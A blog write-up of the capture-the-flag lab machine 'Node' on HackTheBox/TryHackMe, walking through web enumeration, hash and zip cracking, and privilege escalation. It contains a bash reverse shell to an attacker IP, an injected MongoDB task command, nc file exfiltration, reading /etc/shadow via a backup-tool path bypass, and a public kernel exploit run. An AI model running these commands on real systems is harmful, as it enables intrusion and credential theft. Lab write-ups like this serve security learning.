___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

Hackthebox - Node / TryHackMe - Node 1 Writeup

This machine was originally released on hackthebox back in 2018. It is now on tryhackme as well as “Node 1”.

As usual we add the machine IP to our /etc/hosts file as “node1.thm”

echo "10.10.21.105 node1.thm" >> /etc/hosts

Nmap Scan

Open ports:

Enumeration

Port 3000

We find a webserver running on the port 3000. Going over to http://node1.thm:3000, we find the following

ffuf fuzzing

Trying to fuzz the URL, we see that any wrong URI redirects to the home page. SO lets filter out the home page responses havein the word count 727.

ffuf -c -w /usr/share/dirbuster/directory-list-2.3-medium.txt -u http://node1.thm:3000/FUZZ -e .txt,.js -fw 727

We found some directories: * content * assets

But we don’t have permissions to view them and they redirect to the home page

Looking at the source

We try having a look at the source of the login page and find some interesting js files linked there.

We have a look at those js sources and try to get an idea about the app. Looking at the source, it seems to be running Expressjs.

What seems interesting is the file profile.js at http://node1.thm:3000/assets/js/app/controllers/profile.js which basically shows the profile of a user if the user exists. And that user is checked from the directory /api/users/. Lets check if we can view the users going over to the URI.

curl http://node1.thm:3000/api/users/

And we can! The URL gives us a json file containing the username and passwords. We see that the first user has “is_admin” set to true. So that’s our admin user.

{
  "_id":"59a7365b98aa325cc03ee51c",
  "username":"myP14ceAdm1nAcc0uNT",
  "password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",  "is_admin":true
}

The password seems to be hashed. We pass it to crackstation to crack and get the cracked password. The password was hashed with sha256

Creds found:

User: myP14ceAdm1nAcc0uNT
Password: manchester

Admin login

We login with the found creds and get the link to a backup file.

We try downloading the backup but for some reason, it kept getting failed. Curl to the rescue! We intercept the request with the login cookie and use curl to get the file. The request file named req is as follows

GET /api/admin/backup HTTP/1.1
Host: node1.thm:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101
Firefox/77.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://node1.thm:3000/admin
Cookie:
connect.sid=s%3AmRKtCyf3LqJLawtuaTd9TWYb_qG26wXF.DV1fvdf4Vdw2iDCMMDD7rN66CHfb%2BU4JyXoE57g%2Byts
Upgrade-Insecure-Requests: 1

Then we use curl to get the file

curl -H @req node1.thm:3000/api/admin/backup > myplace.backup

Backup file

Looking at the contents of the backup file, it seems to be base64 encoded. And so we decode it.

cat myplace.backup | base64 -d > myplace

With the file command, we see that it is a zip file. Let’s try decompressing it.

mv myplace myplace.zip
unzip myplace.zip

But the file “var/www/myplace/package-lock.json” is password locked

Zip file password crack with John

We use john to crack the zip file password

zip2john myplace.zip -o var/www/myplace/package-lock.json > myplace.hash
john myplace.hash --wordlist=/usr/share/wordlists/rockyou..txt

And we get the cracked password!

Password: magicword

We unzip the file using the password.

Privilege Escalation - User mark

We look at the files in the backup folder. We see the file app.js that contains the monngodb url containing user creds for the user mark.

mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace

Creds found:

User: mark
Password : 5AYRft73VtFpc84k

We try ssh ing into the box with these creds and succeed.

Privilege Escalation - User mark

We transfer and run the linpeas.sh privesc script on the target.

python3 -m http.server
wget http://10.9.17.253:8000/linpeas.sh
bash linpeas.sh

We find an interesting process running on the target.

We find another app.js running from /var/scheduler/app.js. We had a look at the app.js in myplace directory. Let’s have a look at this app. Looking into it, we find a new mongodb uri for a database name “scheduler”. Previously, we had found the database named “myplace”

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url
= 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd); <-----------------------------------------------
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

Here we see that, the app tries to read the value of “cmd” from the collection named “tasks” in the database “scheduler”, executes it as user “tom” and deletes it. So we have command execution as user tom here. Let’s try to get a shell back

So, we try viewing the database “scheduler” as user mark using mongo

mongo -u mark -p 5AYRft73VtFpc84k scheduler

We see that the database has a collection named “tasks”. Lets set our reverse shell command in the “cmd” value. We create a script named “shell.sh” in the /tmp folder.

#!/bin/sh
bash -i >& /dev/tcp/10.9.17.253/1337 0>&1

And we insert the cmd value in the mongodb.

> db.tasks.insert( { cmd: "bash /tmp/shell.sh" } );

Now, we wait to get our reverse shell back. And after some time, get it.

Privilege Escalation - root

Method 1 - exploiting the backup program

We look for any suid files using find

find / -perm /4000 2> /dev/null

And we find the following:

The /usr/local/bin/backup file seems interesting. Having a look at its permissions, we see that it is owned by root and has the admin group ownership. And our user tom is a member of the group admin and so we can run this.

Looking back at the app.js file found in the backup of the app “myplace” we can have some idea about what the backup program does.

app.get('/api/admin/backup', function (req, res) {
  if (req.session.user && req.session.user.is_admin) {
    var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
                      ----------------------------------------------------
    var backup = '';

    proc.on("exit", function(exitCode) {
      res.header("Content-Type", "text/plain");
      res.header("Content-Disposition", "attachment; filename=myplace.backup");
      res.send(backup);
    });

    proc.stdout.on("data", function(chunk) {
      backup += chunk;
    });

So the program takes the “backup_key” and the directory to backup as the argument. We can find the backup key in the app.js file as we..

const backup_key
= '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

Now, we can try to backup the “/root” folder.

/usr/local/bin/backup -q \
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 \
/root

And we get the backup as base64 encoded text.

We base64 decode the text to get the backup as a zip file. And unzip it.

cat backup | base64 -d > backup.zip
7z x backup.zip   # Unzip won't work

And we are prompted for a password for the root.txt file. We try the password we found before for zip, “magicword”.

Now we extract using the found password to get the root.txt. And we find this.

So what happened here? Lets have a deeper look at the /usr/bin/local/backup program. We see that the machine has ltrace installed. Lets try passing the program through strace.

ltrace /usr/local/bin/backup -q \
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 \
/root

In the output, we see that the directory to be backed up is matched with some strings like “..”, “/root” and if it matches, something else predifined is written into the backup. Lets try backing up a normal user folder and check what strings the folder name is compared to.

ltrace /usr/local/bin/backup -q \
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 \
/home/tom

Here we get a complete list of strings the supplied foldername is comapred to. So we have to pass something else to get the backup. We see that though we are not allowed to backup “/root”. But “root” is not blacklisted. So if change our current working directory to “/” and try backing up “root”, we should get it.

/usr/local/bin/backup -q \
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 \
root > /tmp/backup

And we transfer the backup to our local machine using nc

nc 10.9.17.253 4444 < /tmp/backup
nc -lnvp 4444 > backup

And we repeat the previous steps to decode and unzip the backup.

cat backup | base64 -d > backup.zip
7z x backup.zip

And we get the root directory! With the root.txt file in it.

Let’s try getting the /etc/shadow file. For that we go into the /etc directory and run

/usr/local/bin/backup -q \
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 \
shadow > shadow.bak

And we repeat the steps of decoding and unzipping it with the password magicword. And we get our password shadows.

Method 2- kernel privesc

We have a look at the kernel version the machine is running on

$ uname -a
  Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64
x86_64 x86_64 GNU/Linux

We search for kernel 4.4.0 exploit using searchsploit

searchsploit 4.4.0

And we find a kernel privesc for this kernel version.

We mirror the exploit and transfer it to the target.

searchsploit -m 44298

On the target, we compile it with gcc, and run the executable to get a root shell

gcc 44298.c -o pwn
./44298